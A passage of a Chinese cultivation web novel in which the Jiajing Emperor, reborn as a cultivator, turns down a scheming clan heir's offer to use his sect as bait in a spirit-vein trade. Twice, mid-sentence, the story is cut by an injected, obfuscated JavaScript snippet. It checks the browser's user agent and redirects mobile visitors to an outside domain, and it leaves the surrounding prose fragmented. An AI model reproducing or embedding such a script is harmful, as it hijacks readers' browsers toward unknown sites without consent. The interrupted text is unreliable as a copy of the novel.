“先生!”不过,刚撤去禁制和阵法没多久,不一会就听传承阁外,响起刘权的声音。 “噔噔噔。”不一会,楼梯口就响起了刘权上楼梯时,发出的声响。 “嘿!”看着坐在中间,会客厅中,榻上喝茶的嘉靖,带着一身水汽的刘权笑着一挥手,给自己打了一道‘清洁符箓’上前道: “恭喜先生出关,修为再做突破!” 对于嘉靖这次闭关,顺利突破到练气七层,刘权是一点都不惊讶。 毕竟嘉靖的修炼速度摆在那里,五个月过去了,还有掌门给的半扇‘狻猊牛’的血肉,这要是还不能突破练气七层,才是怪事了。 “一个月前,我出关了一次,从老宋口中得知,你们已经开始清理荒地了,可还顺利?”对刘权的恭维,嘉靖并未多言。 “一切顺利,不过还是多了些小麻烦……”刘权说着,便将这五个月来与‘无情山’共同清理荒地的来龙去脉说了一遍。 “如此看来,这‘无情山’的背后,也是白马书院的势力了。”听完刘权讲述,嘉靖讶然。 这个全是女修士,厌恶男修的门派,背后竟然是书院势力,这点是嘉靖没有想到的。 “起初我也以为,这群小娘皮是来自中原的某个大宗,毕竟中原大宗内部也是势力派系林立,一些势力派晚辈出来也情有可原。” 刘权也是摇头不已。 “谁能想到,这群小娘皮背后竟然是能跟李长卿家族比肩的书院势力,看李长卿那态度,也是中三脉,甚至上三脉也有可能……” “哎!”刘权突然身子向前探了探,“先生,给你说个掌门的趣事儿!” 看着他这一副神神秘秘的模样,嘉靖面容微宽,也不说话,等着他的下文。 “掌门跟那‘无情山’的掌门,无情仙子之间,可是发生了一些不得了的事……”然后刘权就满脸八卦模样的说了起来。 “紫骓兽?”听到独孤英跟无情仙子二人中了荒地遗种‘紫骓兽’的诅咒,嘉靖心中好奇。 “这紫骓兽可了不得,”见嘉靖对紫骓兽感兴趣,刘全便开始解释了起来,“这‘紫骓兽’是一种特别神奇的古兽。” “一双紫色肉角,就跟咱们人族一样,会蕴育一种类似于本命天赋的神通!” “先生应当知道,每个修士的本命,其实都有其特定的能力,”刘权拿自己举例,“比如我的鉴子,可以堪破虚妄,辨别人心真假。” 嘉靖回想起第一次在黑风寨地牢中,刘权拿出他的本命物,询问自己是否是奸细的一幕。 “先生可能不太了解,咱们人族,识海中有本命,但古兽却不是用本命这一套。每一只古兽,都有与生俱来的天赋神通。” “这些神通是源于古兽血脉最深处的。” “一般情况下,这些天赋只能是某一族的古兽,比方说掌门的本命物是‘火炎古象’,拥有天赋神通就是火焰相关和巨大化。” “这种又被称为法相。” “但古兽的天赋,人族是无法继承的,嗯,‘御兽门’除外,毕竟人家功法特殊。但即便是‘御兽门’也只是共享,而不是拥有。” 嘉靖认真听着,关于修仙世界的一切,每次刘权讲述,他都会认真听。 “但这‘紫骓兽’完全不同,”刘权讲述着,拿起茶盏喝了一口,“这玩意儿的天赋是可以被掠夺的,就存在那双肉角中。” “辅以特殊的丹药,法阵,就能将蕴养在肉角中的天赋神通,与修士的本命相融合。” “从而让修士的本命,多出一种能力,至于这能力具体是什么,主要就看‘紫骓兽’蕴养是的天赋神通是什么了。” “此外‘紫骓兽’若是遇到生死危机,就会像是咱们修士自爆一样,发出临死反扑,对伤害自己的人,释放诅咒!” “而其释放诅咒威力,也是跟其天赋神通相关,天赋神通越强,威力就越强!” “所以,掌门跟那无情仙子中的诅咒是能互相听到彼此的心声,”嘉靖说着,神情间有思索之色浮动,“若是完整的神通也是窥视心声这种?” “照常理说是这样的,”说着,刘权一摊手,道:“也怪那无情仙子作死,嘿……”说着,刘权嘲讽一笑,道:“原本掌门将‘紫骓兽’制服,还说了会帮她取下肉角。” “结果她非要自己动手,结果被那畜牲抓住机会,临死反扑,考虑到她背景来历,掌门只能出手相救,结果自然跟着中招了……” “呼,”说着,刘权轻呼出一口气,“几天前,无情仙子找上掌门,说是要去中原找‘仙医门’的神医解除诅咒,希望顺利吧。” “哼,”刘权突然幸灾乐祸的哼笑出声,眼神中满是腹黑的笑意,“那无情仙子长的确实好看,容貌大气,风姿绰约。” “这一路中原行,孤男寡女,怎么可能不产生点邪念?又彼此能听到心声,心意相通,啧啧,要是掌门能把那女人拿下,嘿嘿……” 看着刘权这一副幻想的模样,嘉靖微微一笑,不再言语,而是将目光看向窗外大雨。 他对男女之道,此刻并无太大兴趣,身为皇帝他不缺女人,他现在只想修仙,长生。 “对了,”正说着刘全突然像是想到了什么,拍了拍自己的脑袋,道: “瞧我这脑子竟然把正事儿给忘了。”见嘉靖投来询问的目光,抬手拿出一枚玉牌,“这是几日前我去野市感谢李长卿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669353|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他给我的。” “他说先生出关后,让我将此物交于先生。” 闻言,嘉靖神色平静的接过刘权手上的玉牌,灵气注入其中,不一会就见一行简单,平淡的金色字迹,凭空悬浮而出: 【长卿谨致尺素,诚邀道友于出关后,赴自闲书铺一聚。望共叙文事,畅谈雅趣。】 “请帖?”看到上面简短的一行文字,刘权一愣,而后看向嘉靖,“先生要去吗?” “李长卿发来邀请,肯定不会是简单的叙旧,”嘉靖说着,收起玉牌,“想来应该是商道航线,或是野市生意上的一些事。” “那我随先生一起,也好有个照应,”刘权说着,神色凝重道:“先生闭关这段时间,四方城和野市附近,都出了不少命案。” “届时,叫上右护法一起吧,左护法最近也开始闭关了,右护法虽说只是筑基中期,但功法特殊,多个人多个照应!” 听到刘权如此说,嘉靖并不拒绝。 已经从李长卿口中得知,这邪修猎取修士本命,其实就是书院内部派系争斗的结果。那大荒东南这一片,短时间内怕是没那么快解决。 而且,书院自从通缉牒文下达后,至今没有采取什么有用的措施,这就很耐人寻味了。 如今掌门独孤英前往中原,解除诅咒一事,宗门中最强的就是筑基后期的左护法独孤雄,但对方也开始闭关了,只有筑基中期的独孤汉。 翌日,雨势不减,天穹之上灰蒙蒙的一片,整个大明仙宗被雨雾笼罩。 远处连绵的青山,在雨势笼罩中,不但没有了最初的仙气,反而有种死气沉沉之感。 这种感觉,是嘉靖自从进入修仙世界以来,第一次感受到,心中莫名的有种不喜。 “轰轰轰。”空气震动中,嘉靖在刘权的陪同下,坐着飞梭朝着野市出发。与之前一样,依旧是他们前行,独孤汉暗中随行。 “这次从野市返回的时候,可以邀请李长卿一起回宗做客。”飞梭舱体靠窗的榻上,嘉靖的目光从窗外的雨幕上收回说道。 “邀请李长卿回宗做客?”听到嘉靖这么说,刘权一愣,有些不解的看着嘉靖,“这是为何?” “李长卿身份不简单,而且还是金丹期的修士,回来的路上,有个保障……”嘉靖面容严肃,从出发开始,他就没有放缓面容。 看着满天的连绵不绝,没有雷雨爽快的成片雨幕,心中很是烦躁与不快。 总之,就是浑身不顺的感觉,临行前“清洁符箓”打了好几道,总觉得身上黏糊糊的。 “先生,可是有什么不妥?”见嘉靖关注点在李长卿的修为,还有返程安全上,刘权面容也严肃了下来。 “不知道,”嘉靖摇摇头,“总觉得身心不畅,或许是我想多了,不过回来路上多个保障也是好的……” 听到嘉靖如此说,刘权也收起了轻松的心态,道:“每个修士,因为本命不同,修为加深后,都会有些特殊天赋……” “或许不是什么多想,也许是先生的本命天赋示警也不一定。” “总之小心为上!” “……” 第一百三十七章 抉择 修士的本命物,是具备特殊天赋的。 这些天赋,有的或许会为主人示警,嘉靖也说不清楚,因为识海中的本命大明没有丝毫的征兆,又或者是这种征兆并没有明显预警? 只是一种特殊的心灵上的感应?嘉靖不知道。 不禁觉得,今天答应去夜市见李长卿,不是个好日子,只想尽快到野市谈完事返回宗门。 “轰!”飞梭轰鸣着,破开连绵的雨幕,朝着东边无涯林的方向疾驰而去。 有了嘉靖的提醒,刘权也不想再耽搁,法诀掐动的同时,加快飞梭的飞行速度。 一路上并未发生什么变故,野市外刘权收起飞梭,来到家族在野市的客栈后二人分开。 因为李长卿只邀请了嘉靖一人,并未邀请刘权,所以只有嘉靖一个人前往“自闲书铺”。 “朱先生。”书铺门口,李长卿身穿一袭灰白色麻衣儒生长衫,头上竟然也戴了方巾,配合上俊朗儒雅的外形,很是吸引目光。 看着早早站在书铺门口等着的李长卿,嘉靖并不意外,因为在他踏入巷子的时候,就有一道毫不掩饰的神识从自己身上掠过,一闪而逝。 “李先生。”嘉靖也拱了拱手,双方简单客套一番后,这才入了书铺二楼坐定。 “恭喜先生修为又有精进,突破练气七层,”李长卿说着,“看来先生的本命不凡。” 嘉靖并不意外对方会对他修炼速度感兴趣。 一个五十多岁,来历神秘的凡人,修炼不到两年,突破练气七层,这速度着实不一般了。 当然,若是放在书院,或者中原大宗中,这速度只能是一般,可在大荒这些新宗派中,那就显得有些鹤立鸡群了。 “得掌门给予资源,侥幸突破。”嘉靖点了点头说道。 “我这里有本命映照法器,先生可需要看一看,”李长卿说着抬手,只见他掌心之上一块人脸大的菱形水晶石出现,“提早看到法器,我也可以帮先生寻找本命物。” “先生只需将一滴血滴到‘本命映照法器’之上,便可看到本命。” 本命映照法器!若是以前,嘉靖或许会想着看一看,但现在他不会了。 整个大角星修仙世界,都没有“王朝”的概念,若是让李长卿知道自己的本命是一座王朝,那怕是会引起对方的多想。 大角星修仙世界的人,普遍没有“王朝”的概念,这本身就很说明问题。 下层可以理解为跨世界传送要达到一定修为,没有出过“角宿”这组星域可以理解。 可那些修为达到跨世界传送标准的修士,定然对其他星域有所了解,不可能不知道紫薇星域,之前自己找到的那本《星域通识纪要》的只言片语里,可就有修士在秘境中了解到了三垣。 这说明,有大修士肯定知道紫薇星域,王朝林立德,但在大角星却毫无流传。这里头要说没有书院严格控制,嘉靖是万万不信的。 嘉靖自己都担心大明出现有修士本命是王朝,或者是能发展成王朝的本命出现,担心自己的统治会在有一天被人威胁到。 何况是书院?书院是很强,可要是明知道有修士的本命是王朝,那必然知道这是要走上皇图霸业之路的,那时候怎么做? 嘉靖可不敢去赌书院的态度。 “不必了,”嘉靖头拒绝,“多谢李先生的好意,关于本命物我自有打算。不如说说,这次邀请我前来所为何事。” 没有拐弯抹角,嘉靖拒绝的很干脆,倒也不怕李长卿去多想。 相比于映照本命被对方看到“大明”,给对方一个自己知道本命是什么的神秘感,更为稳妥。 果然,在听到嘉靖拒绝的如此干脆,甚至言明本命物自己已有打算,李长卿嘴角勾动。 显然嘉靖这话在他听来,就是已经知道了本命的意思,但却不想在他面前暴露。 毕竟在修仙世界,本命物可以被别人知晓,但本命这东西,却是每个人的**。本命物,不一定跟本命一模一样,这是公认的。 嘉靖拒绝在这里映照本命,除了知道本命外,没有其他解释。 “先生给我的感觉,越来越神秘了,”李长卿摇头一笑,手掌微微上抬,只见掌心上的本命映照法器被抛向嘉靖,“送给大明了。” 嘉靖抬手用灵气接住本命映照法器,面容依旧沉稳。 看不出喜色,也看不出惊讶。 不是这本命映照法器不值钱,恰恰相反,这东西很值钱,放在任何一座修仙大城,都会卖出几十万的价格,除了中大型宗门没人会买。 甚至对大明仙宗来说,这东西更为需要,有了它就能对宗门内的弟子进行本命检测。如此宗门也能尽快对各个弟子的本命做好安排。 嘉靖之所以平静,不过是常年皇帝生涯,造就的这份喜怒不轻易形于色而已。 修仙世界每遭遇新鲜事物,他都会惊讶,但随之而来的就是,能让他情绪波动的事物也越来越少,凡是他见识过的,都不能让他情绪起伏。 甚至就算是一些微小的没见过,也不能让他情绪波动,会有轻微的新奇感却不会太在意。 正如这本命法器,他早就听说 过了,也知道了它的作用,更知道对宗门意味着什么,并且知道,这东西对自己已经没用了。 所以,拿到本命法器,他很平静。 “如此就谢过先生了。”嘉靖也不客气,反手便将本命映照法器给收了起来。 “这次邀先生前来,主要就一件事,”李长卿说着,身子微微前倾,神情严肃,“我希望野市尽快步入正轨,想与大明谈谈。” 现在大明仙宗,宗门经营和发展的部署,全都由刘权跟嘉靖负责。 而李长卿显然更希望和嘉靖这个,大明仙宗背后出谋划策之人直接交谈。 至于刘权,虽说是宗门大长老,可以他的身份来说,不论是大长老的刘权,又或者是四长老的嘉靖,身份上都一样,没区别。 既然没有区别,他自然是主要跟嘉靖这个大明仙宗的背后之人直接谈了。 步入正轨!嘉靖眸光一闪,心中了然对方说的是什么意思。 野市建立已经有数月时间,将近一年了,按照正常发展,自然是步入正轨了。 但野市创建的初衷,就不是为了做正经生意的,野市是书院浅规则默许下的产物。 野市真正的大头利润,可都在那些见不得光,甚至是书院明面禁止的东西。其中最大的暴利,毫无疑问是‘灵脉生意’了。 “先生应该知道灵脉吧?”李长卿挥手间,布下一道禁制,隔绝了声音,方便二人畅所欲言,“大明将经营权让给‘黄风谷’,其实说白了就是想让‘黄风谷’先下场吧?” 李长卿狭长的眸子中神色平静,俊朗儒雅的面容此刻被眼角那颗泪痣衬托的有几分邪性。 他虽是在问,可语气中全都是“我看穿你意图”的意思。 此刻的李长卿,似乎是在向嘉靖,展示他最真实的一面。贪婪,利益至上! 当然,嘉靖从来都不认为对方是什么好人,好人能坐镇野市?甚至,嘉靖早有预感,对方对大明,或者说是自己有所企图。 这是直觉,但嘉靖最擅长的就是玩弄人心,所以确信,对方就是另有所图,对自己! “大明只是个没有背景的宗派,”嘉靖语气平静,“书院内部派系林立,若是突发变故,遭到大清洗,那与书院合作之人……” 说话点到即止,意思明白就是。 “呵,”李长卿发出一声轻笑,好整以暇的看着嘉靖,“所以先生当初的打算便是,若坐镇野市之人是个草包,只为上面办事,自然不会拒绝‘黄风谷’的好意。” “如此一来,有了书院关系背书的‘黄风谷’就可以肆无忌惮的做灵脉生意。就算哪天,书院内部争斗,这野市坐镇之人被清算。” “你大明不过是在这庞大的灵脉生意市场中,跟着喝汤的鱼虾而已。” “更何况大明还是野市的一半主人,新来的人也会为了利益,不会将这些鱼虾一网打尽。所谓水至清则无鱼就是如此道理。” “而你大明,所求不是大富大贵,而是稳步发展,”李长卿眼神中有赞许之色,“可惜的是,先生没有想到,我不是什么草包。” “现在,我的船,大明已经上了。” 嘉靖对这番话没有否认。 “先生知道大角星有多大吗?”这时,李长卿突然话锋一转,问了个看似无关的问题。 “不知。”嘉靖摇头。 他只知道,从四方城到东南城,书院给的最短距离是二十七万八千二百八十里,将近二十八万里路。用‘朱雀丙火乙木梭’全速飞行的话,这个距离,足可以绕地球数匝。 而四方城到东南城,不过是整个大荒,东南这一片的三分之二。 整个大荒足足被划分出了十二份,如此计算下来,大荒的面积又该有多大? 这已经非人力用“亩”这种面积单位,所能单纯概括,并让人只管感受到有多大了。 很多凡人,一生都走不出一国,而很多修士也一样,若不是传送阵,一生也都不出一疆一域之地。 更何况是放眼整个大角星,又该多大? “很大,很大,大到用单纯的占地来说清楚,已经没有意义,”李长卿笑了笑,“不过,我在书院的藏书阁,看到过它的全貌。” “大角星上,有六块大陆。”李长卿似是在回忆一般,“先生应当了解,大角星有四大书院,分别是大竹、白马、秋菊、傲霜。” “此外还有其他书院!” “四大书院,占据四块大陆,其他大大小小的书院,占据两块大陆。” “四块大陆,分为东南西北四个方向。” “白马书院统御南方大陆,对于生存在这些大陆上的生灵来说,大陆中心就是中原地区。所以,中原可不光有一个,而是有六个……” 简单说了一下大角星疆域划分后,李长卿又跟着道:“书院上中下各三脉。” “上三脉,独占中原最丰饶肥沃的疆域,吃的满嘴流油,中三脉只能跟着吃点残羹剩饭,下三脉家族,只能喝点汤水。” “就连这大荒,也是上三脉占尽了便宜。” “书院上下之分,都是以家族势力,资源,拥有的强大修士多少而论。此外,书院之中 ,还有另外一方势力,那便是掌院家族。” “无可争议的最强,上中下三脉斗的你死我活,掌院家族才能更安心。” 听到这里,嘉靖心中却丝毫不惊讶。 从他了解到书院治下的世界之后,就看穿这大角星的儒家书院,就是个变异的大号王朝体,书院中的家族派系就是朝中大臣。 掌院家族就等同于是皇族。 上中下三脉就是朝中的文臣、武将甚至是其他利益集团。 李长卿说的很详细,似乎是怕嘉靖听不懂,依旧缓声大致说着书院的一些基本情况。 “中三脉想要取代上三脉,上三脉提防中三脉,中三脉则要同时对付上三脉和下三脉,同时还要提防同为中三脉的其他两家,呵!” 说到这里,李长卿发出一声冷笑。 嘉靖始终静静的听着,他知道李长卿说这一番话,绝对不是为了给自己诉苦,中三脉,尤其是身为中三脉第一家族的李家有多不容易。 他肯定有其他打算! “大荒这片新地,早在一百二十年前开始,就已经被确立,是书院三脉的一处战场。” 嘉靖眼底闪过一抹思索之色,他仿佛看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669354|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了当初大同沦为严党和清流之争的战场。 “所以大荒这片地不会安宁,三脉之间必然会有一场你死我活的争斗。” “我的目的很简单,”李长卿干脆道:“我李家的目的,就是吃下整个大荒东南这一片地域,然后是大荒整个南部,最后全部吃下。” “一举迈入上三脉之列!” 果然如此!嘉靖一点都不惊讶。 就像是朝堂之中,派系势力斗争一样,谁在朝中的势力最大,话语权就最大。 一样的道理,大荒是一片新地,若是被李家掌控,那无尽资源源源不断的流入,即便是书院中三脉第一家族的李家也不能忽视。 李长卿之所以看中大荒,显然是中原有限的资源,已经不能满足李家的发展了。 然而,看到这点的可不光是李长卿,还有其他几脉…足见未来的争斗会残酷到何种程度。 “所以,你需要提前布局,”嘉靖抬了抬手指,“攘外必先安内,四方城与东南城是李家的,也就是说这片地域必须要肃清了。” “不愧是你。”李长卿没有否认。 “南角城周边宗门有其他人负责,四方城周边宗门中,除了你‘大明仙宗’和‘御兽门’之外,‘黄风谷’、‘清源仙派’、‘小蜀山仙派’全都属于上三脉的棋子。” “至于‘无情山’,我也是前不久才得知,相信你也已经知道了。属于中三脉另外一家。” “先生可能明白,为何坐镇四方城的是我李家之人,但周边宗门,却全都是别家?”不等李长卿说完,嘉靖便平淡道:“掌院想看你们互斗,同时还能防止你们团结起来。” 见嘉靖如此平静的直指这背后的本质,李长卿的目光稍微凝了一下,而后抚掌叹道:“大明仙宗的掌门,应该是先生。” 又是这句话,这句话,他上次已经说过一次了,现在又说了一次。 “说说你的想法吧。”嘉靖直言道。 见嘉靖不回应,李长卿也不勉强,“由大明出面,牵头做灵脉生意,拉‘黄风谷’、‘清源仙派’和‘小蜀山仙派’入场。” 说着,李长卿眼神中有冷意闪过。 嘉靖眉眼低垂,手指轻轻抬了抬,心中已是千般计较浮现,而后抬眼看向李长卿。 “快刀斩乱麻,你要的是出其不意。”嘉靖已经看穿了李长卿的打算。 “‘无情山’、‘黄风谷’、‘清源仙派’和‘小蜀山仙派’都是其他三脉的棋子。” “我大明,现如今基本上已经烙印上了你李家的标签,其他几脉必然也已经知晓。” 李长卿平静的听着嘉靖将自己心中打算,一点一点的和盘托出。 “所有人都明白,将你们放在一地,就是要你们互斗,”嘉靖顿了顿,“如今棋盘上,大家按兵不动,都在等先手,以不变应万变。” “你们都明白,不说掌院家族的意志,单说你们自己,就不可能停在原地不动,耗不起。” “如今的关键就是一个,第一个先出手的人如何走这第一步棋。”说到这里,嘉靖肃容凝视着李长卿,沉声道: “你打算借灵脉生意,将所有人一网打尽。” “而我大明,就是你手里的鱼饵,由大明去拉其他几家下水,做灵脉生意,不,”说着,嘉靖摇了摇头,“不用大明拉,大明下场他们必然会跟着下场,实则这不过是一个陷阱!” “他们会以为,大明下场了,而大明背后站的是你,你绝对不会把灵脉生意捅出去。” “你是在给外界释放一个信号。” “这个信号是,这步棋你先手了,而你要走的这步棋,是一步稳棋。你在告诉大家,争斗会慢慢进行,而不是上来就鱼死网破。” “如此,所有人都会安稳的指挥麾下棋子,在这片新地上获得大量的资源。” “毕竟,大荒开辟,若是无利可图,它存在的意义,也将不复存在。” “实则,你是在用大明 来稳住其他人,一旦其他几家下场,你就会快刀斩乱麻。” “而四方城内坐镇的那位…元婴大修士?他就会以雷霆手段,将这些宗门连根拔起。” 一番话说完,嘉靖身子微微前倾,肃容看着李长卿,“若我是先生,快刀斩乱麻之下,放弃一个鱼饵,换来所有大鱼。” “这是一笔非常划算的买卖!” “等到这片土地清理出来,之后便可以在这片土地上重新撒下自己的棋子,如此这东南一隅,就全都是李家的了。” 嘉靖凝视着李长卿,微微摇了摇头。 一番话说完,意思很明白了,快刀斩乱麻之下,舍弃一个棋子,这很划算。 李长卿与嘉靖对视着。 房间里的气氛也莫名的凝重了起来。 “整个大明仙宗,”片刻后,李长卿开口,“我看中的只有先生一人。”说着,抬手拿出一份血契,放在桌上,推到嘉靖面前。 “先生不如加入我李家。” “大明仙宗的掌门会是先生的,大明仙宗会成为大荒第一宗,擎天巨擘般的存在。”李长卿说着,“先生的本命不差。” “有李家支持,先生会在最短的时间内达到金丹,甚至是元婴。” 说完,李长卿甚至拿出了一枚戒指,推到嘉靖面前,“这里面,有一条九品灵脉。” 九品灵脉!嘉靖的目光,下意识的看向那枚储物戒指,眸光中有不易察觉的光泽闪过。 他知道自己猜中了李长卿的想法。 对方就是要用大明这个鱼饵,快刀斩乱麻,肃清东南这一隅之地。至于大明其他人,他根本不在乎。刀落下的时候,所有人都会闭嘴。 书院高层之争,具体细节不会有人去查的。 “……” 第一百三十八章 傲慢 “轰!” 飞梭发出轰鸣之声,破开雨幕,朝着大明仙宗所在的方向疾驰而去。 “先生……”舱体靠窗的小榻上,刘权张了张口,他早就忍不住了,不是说返回的时候,邀请李长卿一同回大明,当保镖吗? 难道对方拒绝了?当然,他更想知道的是,先生没能邀请到人,是否出了什么意外? “他给了我这个。”嘉靖目光从窗外收回,抬手拿出一枚成年人拇指大小的玉简,递给刘权,算是解答了他心中的疑惑。 “这是,”刘权好奇的接过玉简,而后惊讶道:“这是‘空间玉珏’!” “这可是好东西啊,嘿嘿,”刘权说着,满脸佩服之色,“不愧是先生。” “空间玉珏,内含一个压缩的空间法阵,可是只有元婴之上的修者才能炼制。” “一旦在遇到危险的时候,捏碎这玉珏,这玉珏的主人就会感应到,然后会在第一时间直接被认主过的玉珏中的空间之力带走。” “若是这玉珏是李长卿的,那么我们遇到危险,捏碎玉珏,他就会被召唤而来!” “如此一来,这李先生来不来宗门倒也两可了。”刘权说着,羡慕的将玉珏递给嘉靖,“先生,这宝贝你可收好了,关键时候能保命!” “我就知道,任何人跟先生接触了,都会被先生所折服,看来李长卿也很欣赏先生。”刘权说着,拿起小几上的茶盏,抬了抬眼,“对了先生,李长卿这次找你所为何事?” “灵脉生意……”嘉靖说着,脑海中回想起之前在自闲书铺的一幕。 自闲书铺,二楼。 “飒飒飒。”大雨瓢泼。 虽然李长卿事先布下了禁制,不过这禁制是外界的声音可以传入,但内部的声音传不出去,属于是单向隔绝禁制。 当然,也有完全隔绝的禁制,不过显然李长卿没有使用。 “让李先生失望了,灵脉生意看来大明是无缘了。”嘉靖率先打破沉默,说话间站起了身,“大明于我有恩,我不会行背叛之举。” 说着,嘉靖抱拳拱了拱手,意思很明显了,谈判破裂,没有必要再继续下去了。 “先生且慢。”就在嘉靖走到楼梯口的时候,身后突然响起李长卿的声音。 “这个先生收好……”李长卿说着,将储物戒指,还有一块玉珏,一同交给嘉靖。至于那份血契,则是没有再拿给嘉靖。 看着递到跟前的储物戒指和‘空间玉珏’,嘉靖略一沉默后,抬手接了过来。 “呵,朱聪先生果然是个聪明人,”李长卿笑了笑,“也罢,既然先生不愿,长卿也不会勉强。谁让我欣赏先生你呢?” 说着,李长卿轻摇头,笑道:“看来,我只能找‘御兽门’合作了。希望这‘御兽门’不会再出一个像朱先生这样的人。” 说完,李长卿一抬手道:“请。” “先生,大明仙宗的掌门,应该是你!”自闲书铺门口,临别之际李长卿又说了一句。 “告辞。”嘉靖依旧没有任何的回应,只是拱了拱手,便转身出了巷子。 “嘶!”听完嘉靖把在自闲书铺发生的事情,讲了一遍后,刘权不由倒抽了一口气。 “让我大明为鱼饵,拉‘黄风谷’这些其他三脉的棋子入陷阱?!” “该死!”突然,刘权的眼神又阴了下来,“这个李长卿果然不是个好东西!” “先生,我总觉得这个李长卿太危险了!”听完嘉靖的讲述后,刘权微吸了口气,说着又皱眉,道:“但我还是不明白!” “先生明确的拒绝了,他为什么还要给先生这‘空间玉珏’,还有这……”说着,又拿起嘉靖刚才拿出来的储物戒指。 “一条九品灵脉,还有‘三枚悟道菩提子’,这出手是否太大方了些?” 刘权说话间,语气中全都是不安。 自闲书铺中二人的对话内容,嘉靖并未对刘权有分毫的隐瞒,原原本本的和盘托出。 “先生,我怎么有种与虎谋皮的感觉?”刘权感觉心里毛毛的,这并不重的储物戒指,让他有种手捧一颗随时会炸的雷的感觉。 “先生,您可能堪破此人到底什么意思?他到底有什么企图?我是不认为他是个好人的!”说着,刘权欲言又止,道: “要不把这东西退回去吧?” “跟这种吃人不吐骨头的家伙合作,太让人不安了……” “灵脉就交于宗门了,”嘉靖说着,拿起储物戒指,取出一枚只有瓜子粒大小,像是被石头封住的‘悟道菩提子’,“我拿一颗修炼。” “先生,您到底有没有听我说话?这些东西,我们真要收吗?”刘权苦着脸。 “他是在观察。” “观察?”刘权眉头一挑,不解道:“观察什么?” “观察,我大明跟御兽门,谁最适合当棋子,谁最适合当鱼饵……” “适合当鱼饵的,自然是要舍弃的。” “适合当棋子的,那 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“盘根错节,势力纠缠复杂,多方比较之下,自然是我大明,最适合了。” “嗯……”嘉靖说完,刘权沉默片刻后,脸上挤出一个笑容,然后默默拿起茶盏小酌了起来,但深锁的眉头却表明他内心并不平静。 见此,嘉靖看着桌上的储物戒指,空间玉珏,眸光闪烁着。 虽然他把在自闲书铺跟李长卿的对话都告诉了刘权,但有一句话他始终没说。 那就是算上上次,李长卿已经重复了三次的那句“先生,大明仙宗的掌门,应该是你”。 这就是李长卿的目的! 如此厚利,全因为自己一人。 这是一条阳谋,就是要让大明全宗上下都明白,书院李家,他李长卿看中大明是因为朱聪,而不是因为大明仙宗的其他人。 以后有什么事情,都与自己商议。 而掌门独孤英又放权给自己和刘权,经营门派和发展,但刘权却被李长卿排除。 长此以往,自己跟宗门真正的核心,也就是独孤三兄弟还有刘权之间必生嫌隙。嘉靖明白,李长卿就是想要通过这种方式来收服自己。 同时,也是在告诉自己,他的意志,无人可以反抗。 此人也是个玩弄人心的高手。 这是一种高高在上,视所有人为玩物的傲慢! “……” 第一百三十九章 诚者天道,思诚者人道,陨落,时间匆匆,筑基!(二合一) 一路无话,飞梭疾驰。 一来想到心中那股淡淡的不顺,嘉靖跟刘权都急着赶路;二来刘权心中也有心事重重。 又或许是因为有李长卿给的‘空间玉珏’的缘故,一时间倒也顾不上此前心中的担心。 一路上倒是没有出现任何意外。 但嘉靖心中那股淡淡的不顺,被阴雨天打扰的心情依旧萦绕在心头。 “飒飒飒。”大雨滂沱。 “先生,那我先回去了,这戒指……”传承阁门口,刘权抬了抬手上的戒指,欲言又止。 “上去坐坐。”嘉靖说完,也不给刘权答话的机会,转身便进了传承阁。 看着嘉靖的背影,刘权张了张口,最后还是沉默着跟了上去。 传承阁顶层,会客厅之中。 嘉靖给自己又打了一道‘清洁符箓’,换上了一身白色宽松麻衣长袍,与刘权面对面坐在靠窗的榻子上,中间隔着一张小几。 “我知道你心中在想什么。”嘉靖将一杯水推到刘权跟前,语气平缓,说着看向刘权。 “先生,我……”刘权张了张口,被嘉靖的目光注视着,他感觉自己心中所想全都被看穿了,张口想要说些什么,可跟着又闭了嘴。 “呵,”突然,刘权低着头发出一声苦笑,“我就知道,瞒不过先生。” “你在担心的是,日后这宗门之中,权力的冲突,”嘉靖直言而出,“从而埋下隐患。” “先生!”虽然猜到,嘉靖可能看透了自己心中想,张口就要说话,可嘉靖却抬了抬手,打断他,继续用一种平淡的语气开口。 “你忠于掌门,不想任何人的权力,威胁到掌门,即便掌门主动放权给他人,但你的底线就是任何人包括你自己,都不能突破。” “此前,你心里清楚,整个宗门高层,没有谁能威胁到掌门的权力。” “即便是我,也不可能,”嘉靖每说一句,刘权的表情就沉一分,“但是现在不一样了,李长卿的背景太深了,大明在他眼中就是个玩物,甚至是不如一个玩物。” “李长卿如此种种态度,让你有了警觉。你担心有一天我会在李长卿的帮助下威胁到掌门的地位,然后宗门努力的一切都付诸东流。” “你心有不安。”有些隔阂与嫌隙必须要提前说清楚,嘉靖不会去给李长卿当“家臣”。 所以即便他要把大明送给自己,自己也不会接受,因为大明本就是自己的…… 李长卿傲慢的以为算无遗策。若他直接以势压人,那嘉靖和整个大明都别无选择,但他偏偏选择了另外一种“愚蠢”的方式。 玩弄人心,这是上位者最喜欢干的事。 因为他们有权,单纯的镇压已经不再是他们的行事惯性了,因为无所顾忌。 若是哪天脱手了,随时可以镇压。正如那伙邪修,不过是书院三脉争斗诞生的产物而已。 若是有需要,邪修可以是书院三脉中的任何一伙人,李长卿也可以是邪修的背后主人。 若是他想对谁出手,这些邪修,或者是随便哪里冒出一个亡命之徒,就是一把及用及扔的刀。 毫无疑问,用这种手段征服,属于下乘。傲慢之人,之所以傲慢,就是至高无上的权力,源于掌控一切的自信。 